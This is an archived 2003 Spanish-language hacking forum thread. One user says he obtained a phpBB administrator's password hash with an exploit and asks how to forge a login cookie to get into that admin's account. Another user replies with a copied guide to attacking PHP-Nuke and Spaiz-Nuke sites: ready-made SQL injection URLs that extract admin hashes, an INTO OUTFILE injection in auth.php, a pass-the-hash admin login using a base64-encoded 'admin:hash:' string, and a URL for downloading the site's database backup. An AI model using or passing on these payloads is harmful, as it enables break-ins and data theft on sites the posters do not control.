PDA

Ver la versión completa : cookies en phpbb



jocanor
12-10-2003, 13:59
bueno, hace ya algun tiempo k tengo un password hash de un admin de un foro phpbb, lo consegui con un exploit en perl k hay rulando por ai...

primero intente crackear el hash con john the ripper i no me dio resultado i tras un tiempo de dejarlo por imposible, me fije en k en phpbb hay una opcion de entrar automaticamente en cada visita, i eso me dio una idea, active esa opion en otro foro phpbb i luego recogi la cookie, la examine i pude darme cuenta de k alli estava la contraseña de mi usuario en hash, es decir io habia creado una cuenta en ese foro con una contraseña determinada i en la cookie se encontraba el hash de esa contraseña...bueno entonces pense:

teniendo el hash del administrador de akel foro, k me impide crearme una cookie con su hash i entrar automaticamente, bueno la idea parecia buena i me cree una cuenta en ese foro con el nombre de usuario manolo i contraseña manolete, entonces le di a entrar automaticamente en cada visita i recogi la cookie k se habia creado, en la cookie sustitui mi password hash por el del administrador, pero tras mucho mirar, no consegui cambiar el userid, es decir la cookie le dice al foro k la contraseña es tal, i el user es tal, pero en la cookie no encuentro el user, para cambiar manolete por administrador....

bueno he probado a ver otras cookies de otros foros i la estrucutura es siempre la misma lo k pasa k hay ciertas cadenas k me resultan estrañas, pero no encuentro lo k son, no he encontrado el user en base64 ni en otros tipos de codificaciones...alguien sabe como sustituir el user en la cookie de phpbb???

fackie-c0ol
14-10-2003, 19:04
aqui una explicacion:

Inyección SQL en PHP-Nuke y Spaiz-Nuke

Eso en el caso de que deba ser numerica, sino basta con quitar el !is_numeric($variable) de la condicion del IF.

Bueno me voy a dejar de dar vueltas y pasamos al tema de la explotacion de las falla, que no solo sirve para hacer daño, sino que les permitira testear sus sistemas y saber como solucionar este tipo de fallas.

Bueno, para poder ver los hashes de los admins, debemos hacer una pequeña insercion de codigo SQL, en las variales $cid de los modulos en cuestion. Por ejemplo:

Para el Modulo Download:
http://victima-nukeada/modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20F ROM%20nuke_authors%20

Para el Modulo WebLinks:
http://victima-nukeada/modules.php?name=Web_Links&l_op=viewlink&cid=2%20UNION%20select%20counter,%20pwd,%20aid%20F ROM%20nuke_authors%20
Nota: Para que funcione en Spaiz-Nuke debes cambiar nuke_authors por spnuke_authors

Vulnerabilidad en el archivo auth.php:

Esta vulnerabilidad se encuentra en el archivo auth.php, en la función que comprueba el usuario y la contraseña (Según su descubridor, testeado en spaiz-nuke)
En concreto en la variable $aid, porque no se comprueba que el contenido de la misma sea seguro. Mediante el uso de las '', es posible crear una URL como esta:
http://victima-nukeada/admin.php?op=login&pwd=123&aid=Admin'%20INTO%20OUTFILE%20'/path_to_file/pwd.txt

En este ejemplo se crea un archivo en /path_to_file/pwd.txt que contiene el password (encriptado en MD5) del admin.


Accediendo con la contraseña encriptada:

Un atacante puede autentificarse en el PHP-Nuke incluso sin conocer el password desencriptado.

El método es el siguiente:

Una vez que ya obtuvimos los hashes de los admins, ya sea explotando las fallas en los modulos como en el auth.php, debemos codificar en base64 el ususario y la contraseña obtenidos mediante la inyección SQL (o por cualquier otro método).

Para pasarlo a base64 puedes utilizar cualquier codificador de base64 o puedes hacerlo online en una web como esta:
http://www.isecurelabs.com/base64.php
http://www.rzw.com.ar/base64nuke.php ;)

Buscamos el equivalente en base64 de la siguiente linea:
login:crypt_.passwd:
donde login es el usuario y crypt_.passwd es la contraseña en MD5

Por ejemplo, con esta linea
admin:21232f297a57a5a743894a0e4a801fc3:

obtendriamos algo así:
YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYz M6

Ahora podemos acceder al panel del administrador usando una URL de este tipo:
http://victima-nukeada/admin.php?admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzOD k0YTBlNGE4MDFmYzM6

Una vez dentro te daras cuenta que cuando quieres acceder a cada opcion del panel de control te volvera a pedir el password, lo unico que tienes que hacer, es copiar el enlace de la seccion a la que quieres ingresar y agregarle a dicha URL los mismo que le pusiste al admin.php para ver el panel de administracion. Por ejemplo:

Para bajarte la base de datos:
http://victima-nukeada/admin.php?op=backup&admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4 MDFmYzM6


esta info fue extraida de ryhno zeros web.
saludos

jocanor
14-10-2003, 19:19
i eso k tiene k ver con mi duda? :confused: :confused: :confused: :confused:

fackie-c0ol
14-10-2003, 19:36
no estas preguntando como entrar con el pasword del administrador??.
ops.
te rreferias en los foros?:confused:
lo siento.
saludos

jocanor
14-10-2003, 19:37
a ver, tu has leido algo? :eek: :eek: :eek: :eek:

primero que es en los foros phpbb i segundo k el hash ia lo tengo...